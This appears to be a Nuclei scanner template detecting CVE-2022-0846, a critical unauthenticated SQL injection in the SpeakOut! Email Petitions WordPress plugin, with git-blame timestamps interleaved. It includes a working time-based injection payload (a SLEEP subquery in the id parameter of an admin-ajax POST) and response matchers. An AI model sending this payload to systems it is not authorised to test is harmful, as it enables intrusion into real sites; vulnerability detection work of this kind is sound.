nuclei-templates/http/cves/2022/CVE-2022-0846.yaml

47 lines
1.7 KiB
YAML
Raw Normal View History

2023-04-21 08:56:01 +00:00
id: CVE-2022-0846
info:
name: SpeakOut Email Petitions < 2.14.15.1 - SQL Injection
author: theamanrawat
severity: critical
description: |
The SpeakOut! Email Petitions WordPress plugin before 2.14.15.1 does not sanitise and escape the id parameter before using it in a SQL statement via the dk_speakout_sendmail AJAX action, leading to an SQL Injection exploitable by unauthenticated users.
reference:
- https://wpscan.com/vulnerability/b030296d-688e-44a4-a48a-140375f2c5f4
- https://wordpress.org/plugins/speakout/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0846
2023-07-11 19:49:27 +00:00
remediation: Fixed in version 2.14.15.1
2023-04-21 08:56:01 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0846
cwe-id: CWE-89
2023-07-11 19:49:27 +00:00
epss-score: 0.02077
cpe: cpe:2.3:a:speakout\!_email_petitions_project:speakout\!_email_petitions:*:*:*:*:*:wordpress:*:*
2023-04-21 08:56:01 +00:00
metadata:
max-request: 1
2023-06-04 08:13:42 +00:00
verified: true
2023-07-11 19:49:27 +00:00
framework: wordpress
vendor: speakout\!_email_petitions_project
product: speakout\!_email_petitions
tags: wordpress,wp-plugin,wp,unauth,wpscan,cve,cve2022,sqli,speakout,speakout-email-petitions
2023-04-21 08:56:01 +00:00
http:
2023-04-21 08:56:01 +00:00
- raw:
- |
@timeout: 20s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=dk_speakout_sendmail&id=12+AND+(SELECT+5023+FROM+(SELECT(SLEEP(6)))Fvrh)--+VoFu
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "Your signature has been added") || contains(body, "This petition has already been signed using your email address")'
condition: and